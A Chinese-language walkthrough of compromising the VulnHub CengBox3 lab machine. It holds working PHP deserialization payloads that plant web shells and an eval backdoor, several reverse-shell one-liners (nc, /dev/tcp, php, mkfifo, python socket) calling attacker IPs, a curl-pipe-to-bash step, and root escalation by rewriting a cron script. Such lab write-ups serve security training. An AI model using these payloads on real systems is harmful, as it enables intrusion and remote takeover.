靶机下载地址: https://www.vulnhub.com/entry/cengbox-3,576/
教程链接地址 1: https://blog.csdn.net/weixin_50688050/article/details/118015907
教程链接地址 2: https://www.cnblogs.com/sym945/p/14303728.html
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 CENGBOX3:桥接于 192.168.31.1 的网卡,ip 未知
确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机服务
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

-> 靶机 ip:192.168.31.25 靶机开放端口 22,80,443
# 网站信息收集
打开 http://192.168.31.96/ 进行信息收集

打开 https://192.168.31.96/ 进行信息收集

点击隐藏详情,输入 thisisunsafe 即可进入该站点

扫描目录:
gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory- list-2.3-medium.txt -u http://192.168.31.96/

没有找到有价值的目标,得去尝试一下 443 端口的网站有没有什么敏感目录 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://192.168.31.96/

# nmamp 端口扫描
发现 gobuster 无法爆破此类网址,只能另寻它法,按理说 web 站点必有破绽才能进一步渗透,但是现在的 web 没有任何的突破口,是不是我们从端口扫描那里就出现了问题这次通过 - A 参数详细的扫描一波端口信息,看能否获得更多的信息
sudo nmap -A -p- 192.168.31.96

发现了一个 ceng-company.vm 的字样,这个可以做为 hosts 做 DNS 解析,修改本地 hosts 文件,将此域名的 DNS 解析指向 ip 地址

解析成功了,可以直接访问这个域名了,接下来就对这个域名做测试

首先就是测试目录,看有哪些目录 gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u [http://ceng-company.vm/](http://ceng-company.vm/)

还是这几个目录,没有多大的作用,下一步对域名做一个子域名扫描
# gobuster 爆破子域名
爆破子域名的时候选用 vhost 参数,字典可以根据自己的习惯选择这里使用的是 seclists 中的一个子域名爆破字典
gobuster vhost -u [http://ceng-company.vm/](http://ceng-company.vm/) -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

也可以选用较大的字典爆破子域名 gobuster vhost -u http://ceng-company.vm/ -w /usr/share/wordlists/dirb/big.txt

找到一个子域名,同样修改本地 hosts 文件,改变 DNS 解析指向

打开 http://dev.ceng-company.vm 做信息收集

同样的先来做一波目录扫描
gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dev.ceng-company.vm/

没有什么敏感的目录,目录扫描无法得到更多有效的线索
# sqlmap 注入
既然这个子域名的首页是登录框,登录框就可以尝试使用 sql 注入,通过 burp 将数据包拦截,复制该数据包

通过 sqlmap 指定发送数据为此数据包中的内容

sqlmap -r login.txt --batch --dbs

直接爆破的时候是失败的

指定注入点是 username 时再次尝试

指定注入点是 passwd 时再次尝试

前面几种方式都试了,试不出来此地方是存在 sql 注入的,没有找到其余人是怎么通过这个点拿到数据库的信息的,数据库中的信息如下,可通过下列两个账号登陆到后台

admin@ceng-company.vm:admin*_2020
elizabethsky@ceng-company.vm:walnuttree
# php 反序列化漏洞
进入比较高权限的 admin 的后台

这里有一个可以输入的地方,输入 1,2,3 尝试是否有回显

提交之后,显示发送成功,并且有一个链接可以跳转

此链接显示了 1,3 位置的数据,我们可以放一些恶意 payload 尝试

在输入框依次填写如下内容,看 phpinfo 是否会被执行

回显中并没有 phpinfo 的信息,只留下来了第三个位置的数字

把 phpinfo 放在第三个位置看看有没有什么回显

看来 phpinfo 的信息没有被执行,跟 1,3 的位置无关

查看源码里,只是以一种字符串的形势存在

# php 反序列化 GET
仔细观察 url 地址,发现是一个 url 编码后的地址
通过在线 url 解码:http://www.ab173.com/enc/urlencode.php
http://dev.ceng-company.vm/addpoem.php?data=O:4:"Poem":3:{s:8:"poemName";s:1:"1";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.txt";s:8:"poemName";s:1:"1";}s:9:"poemLines";s:18:"<?php phpinfo();?>";}

发现这就是一个 php 反序列化漏洞,在我们要上传的 phpinfo 的地方出构造一 GET 方法,通过该 GET 方法调用 php 执行系统命令
O:4:"Poem":3:{s:8:"poemName";s:4:"ada";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:22:"/var/www/html/poem.php";s:8:"poemName";s:47:"<?php echo shell_exec($_GET['cmd'].' 2>&1'); ?>";}s:9:"poemLines";s:4:"adadd";}
表示往主站 poem.php 写入一个 cmd 的 GET 方法,方法中的内容用系统执行
将此内容进行 url 编码后添加到 http://dev.ceng-company.vm/addpoem.php?data= 执行之后没有报错,poem.php 文件写入成功

执行 id 方法,输出 id 的一些信息

查看 ifconfig 的 ip 信息时,通过查看源代码也能很方便的看到

现在这个地方已经被升级成为了 RCE 命令执行漏洞,查看服务器有下列哪些反弹 shell 的命令
http://ceng-company.vm/poem.php?cmd=which%20python;which%20nc;which%20curl;which%20wget;which%20php

发现存在 nc,curl,wget,php 可以依次尝试使用反弹 shell 的命令
# 反弹 shell 总结
nc 192.168.31.84 4445 -e /bin/bash

bash -c 'bash -i >& /dev/tcp/192.168.31. 84 /444 5 0>&1'

bash -i >& /dev/tcp/192.168.31. 84 /444 5 0>&1

php -r '$sock=fsockopen("192.168.31. 84 ",444 5 );exec("/bin/sh -i <&3 >&3 2>&3");'

如果有服务器的话,可以直接接服务器的马执行,这里我没有开启远程公网 ip 上的服务器,就直接在本地开了一个简易的 web
1 | 在 192.168.31.25的机器上 |
通过网站去执行:curl http://192.168.31.25/shell.sh | bash
表示加载 shell.sh 的内容之后用 bash 去执行

最后通过 curl 的方式拿到了 webshell,利用相关代码进行标准 shell 的输出

# php 反序列化 POST
既然我们可以通过 GET 型的注入升级为 RCE,看看有没有其他的方法,先搞一个简单的 phpinfo 给指定路径上传 phpinfo 进行执行

O:4:"Poem":3:{s:8:"poemName";s:3:"aba";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:18:"/var/www/html/x.php";s:8:"poemName";s:18:"<?php phpinfo();?>";}s:9:"poemLines";s:3:"aba";}
意指往主站 x.php 上打印一个的记录

url 编码后去执行这个 x.php,回显出来了 phpinfo 的信息

用 post 型参数,上传一句话后门到主站的 y.php
O:4:"Poem":3:{s:8:"poemName";s:3:"aba";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:19:"/var/www/html/y.php";s:8:"poemName";s:27:"<?php @eval($_POST['x']);?>";}s:9:"poemLines";s:3:"aba";}

url 编码后通过 url 执行,成功写到网站根目录上

POST 型木马可以通过蚁剑等工具直接链接,地址是主站的 y.php,密码是 x

通过写如下新文件,将服务器的 shell 反弹出来
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.84 4445 >/tmp/f");?>

指的是如果存在命名管道 /tmp/f 先删掉它,然后新建一个命名管道 /tmp/f
并且通过 cat 往命名管道中打印 /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.84 4445 这个命令
/bin/sh -i 2>&1|nc 192.168.31.84 4445 表示用 sh 强制交互式执行并将输出
结果重定向,然后将输出内容反弹到 192.168.31.84 的 4445 端口上

对终端进行调整,输出一个较为美观的终端

# php 反序列化 mkfifo
既然可以通过 POST 间接的使用 mkfifo 注入 RCE,那么是否可以直接在 php 反序列化里边直接上传 mkfifo 的命令反弹 shell 呢,尝试一下
O:4:"Poem":3:{s:8:"poemName";s:3:"aba";s:10:"isPoetrist";O:8:"poemFile":2:{s:8:"filename";s:19:"/var/www/html/z.php";s:8:"poemName";s:100:"<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.135 4444 >/tmp/f");?>";}s:9:"poemLines";s:3:"aba";}

提示上传成功了,但是在 z.php 执行的时候失败的,这种方法可能被过滤掉了,因此目前只有通过注入 GET 参数,在 url 界面使用 curl 反弹或者注入 POST 参数,在蚁剑中用 mkfifo 的方式反弹

# tcpdump 抓取数据包
对 webshell 做一个 pspy 监控看有没有定时任务

追踪定期执行的任务 /opt/login.py, 只有拿到 eric 的权限才能查看

既然是登陆的脚本,肯定是有数据传送的,看了一下服务器上是存在 tcpdump 的,可以借用这个工具来监视数据包的传输,说不定能在数据包里有发现 tcpdump -i lo -w login.pcapng

抓了大概三分钟的数据之后将 login.pcapng 发送至 kali 上目标 webshell 上不存在 scp 命令也无法通过 python 的简易 web 打开

就将这个文件移动到了 /var/www/html 中

直接通过浏览器打开这个文件

页面中存在着 eric 的用户名和密码 3ricThompson%2ACovid19
,但是后面还有一些奇怪的字符,不足以确定密码是多少,还是下载下来分析一番
# UID=0 的定时任务反弹
用 kali 机器下载此文件,用 strings 分析,得到了 3ricThompson%2ACovid19

但是 %2A 出现在这个密码中很突兀,可能是编码原因导致原来的特殊符号在数据传输过程中发生了转码,解码之后得到其是 *

用下列两个方式尝试登陆服务器拿到了 eric 的权限
eric: 3ricThompson%2ACovid19
eric: 3ricThompson*Covid19

找到 login.py 看到漏洞形成的原因就是因为其往本地发送了一些登陆的数据包

在 /opt 下还有两个文件是跟 root 账户相关的,chech.sh 就是去执行 whatismyip.py,而 whatismyip.py 就是得到公网 ip

通过 pspy 监控,发现定期执行的 login.py 是用 UID=0 的用即 root 权限执行的

eric 用户有对 login.py 的改写权限,改写 login.py 文件,通过 py 反弹 shell
echo "import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.31.84',4446));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > login.py

-> 最终拿到了 root 用户,
# vim 全屏 stty
但是我么去用 vim 包括使用命令的时候往往输入了一部分内容之后就不能在再同一行继续输入了,这个美观问题经常很头疼。

可以重设 stty 的大小,来将反弹得到的 shell 按照自己的 shell 的 stty 来标准化,自己当前的 stty 有多大就将其改为多大
通过 python 先输出一个标准的 shellpython3 -c "import pty;pty.spawn('/bin/bash')"
输入 ctrl+z 让其后台运行
查看自己当前开启的终端的大小stty - a

设置 stty 为 raw 模式,并前台启动后台运行的程序
stty raw -echo;fg
并输入回车两次
输入 reset 重置 stty,如提示找不到 terminal 的类型,就设置为 xterm

根据查到的终端大小设置反弹 shell 的终端的 stty stty rows 25 columns 79

现在我们所使用的终端就比较工整了,vim 也能全屏使用了
